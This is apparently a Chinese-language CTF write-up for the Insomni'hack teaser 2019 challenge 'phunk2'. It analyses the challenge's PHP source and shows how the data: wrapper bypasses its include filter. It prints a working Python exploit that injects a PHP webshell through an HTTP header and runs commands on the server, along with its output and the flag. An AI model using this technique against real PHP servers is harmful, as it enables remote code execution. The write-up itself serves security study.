羊毛 | 寫 Code 雜談

願如同童話裡的山羊般咀嚼知識

0%

Insomni'hack teaser 2019 - phunk2

利用 wrapper 對字串解析的不同來成功 getshell

[正文]

題目一開始就給出 source code 和 phpinfo.php!

source codehttp://phuck.teaser.insomnihack.ch/?hl
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
stream_wrapper_unregister('php');
if(isset($_GET['hl'])) highlight_file(__FILE__);

$mkdir = function($dir) {
system('mkdir -- '.escapeshellarg($dir));
};
$randFolder = bin2hex(random_bytes(16));
$mkdir('users/'.$randFolder);
chdir('users/'.$randFolder);

$userFolder = (isset($_SERVER['HTTP_X_FORWARDED_FOR']) ? $_SERVER['HTTP_X_FORWARDED_FOR'] : $_SERVER['REMOTE_ADDR']);
$userFolder = basename(str_replace(['.','-'],['',''],$userFolder));

$mkdir($userFolder);
chdir($userFolder);
file_put_contents('profile',print_r($_SERVER,true));
chdir('..');
$_GET['page']=str_replace('.','',$_GET['page']);
if(!stripos(file_get_contents($_GET['page']),'<?') && !stripos(file_get_contents($_GET['page']),'php')) {
include($_GET['page']);
}

chdir(__DIR__);
system('rm -rf users/'.$randFolder);

Analysis

  1. 先觀察 phpinfo 重要的兩項,allow_url_includeallow_url_fopen

    Directive           Local Value	    Master Value
    allow_url_fopen On On
    allow_url_include Off Off`
  2. 再來觀察 source code,首先可以發現 Wrapper php:// 被關閉。

    1
    stream_wrapper_unregister('php');
  3. $mkdirsystem 有加入 escapeshellarg($dir) 基本上是死路。

    4
    5
    6
    $mkdir = function($dir) {
    system('mkdir -- '.escapeshellarg($dir));
    };
  4. 看起來可以透過 $_SERVER['HTTP_X_FORWARDED_FOR'] 控制 $userFolder。再來會把 $_SERVER array 的內容都 dump 進 $userFolder/profile 裡面。

    11
    12
    13
    14
    15
    16
    $userFolder = (isset($_SERVER['HTTP_X_FORWARDED_FOR']) ? $_SERVER['HTTP_X_FORWARDED_FOR'] : $_SERVER['REMOTE_ADDR']);
    $userFolder = basename(str_replace(['.','-'],['',''],$userFolder));

    $mkdir($userFolder);
    chdir($userFolder);
    file_put_contents('profile',print_r($_SERVER,true));
  5. 看起來可以控制 $_GET['page'],不過 allow_url_include 被關閉了不能輕鬆地 LFI

    18
    19
    20
    21
    $_GET['page']=str_replace('.','',$_GET['page']);
    if(!stripos(file_get_contents($_GET['page']),'<?') && !stripos(file_get_contents($_GET['page']),'php')) {
    include($_GET['page']);
    }
  6. 全部跑完後會把產生的所有東西都刪除。

    23
    24
    chdir(__DIR__);
    system('rm -rf users/'.$randFolder);

Get shell

allow_url_fopen on, allow_url_include off, data warper 會有以下性質

file_get_contents( 'data:,QAQ/profile' );
-> allow_url_fopen on => get 'QAQ/profile' file contents

include( 'data:,QAQ/profile' );
-> allow_url_include off => get 'data:,QAQ/profile' file contents

透過前面的觀察,可以創建一個 data:,aaaa/profile,然後 file_get_contents() 會去嘗試得到 aaaa/profile 這個不存在的檔案的內容,成功 bypass,且 include() 會成功 include data:,aaaa/profile。至於檔案的內容 print_r($_SERVER,true),可以透過傳送 http header 來送進去。

payload

1
2
3
4
5
6
7
8
9
10
11
12
13
#!/usr/bin/env python3

import requests, sys

headers = {
"X-Forwarded-For": "data:,QAQ",
"Webshell": "<?php system('"+ sys.argv[1] +"'); ?>"
}

url = "http://phuck.teaser.insomnihack.ch"
payload = { "page": "data:,QAQ/profile" }
r = requests.get( url, headers=headers, params=payload )
print(r.text)
$ python payload.py 'ls /'
...
[HTTP_WEBSHELL] => bin
boot
dev
etc
flag
get_flag
home
lib
lib64
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
...
$ python payload.py '/get_flag'
...
[HTTP_WEBSHELL] => INS{PhP_UrL_Phuck3rY_h3h3!}
...

FLAG: INS{PhP_UrL_Phuck3rY_h3h3!}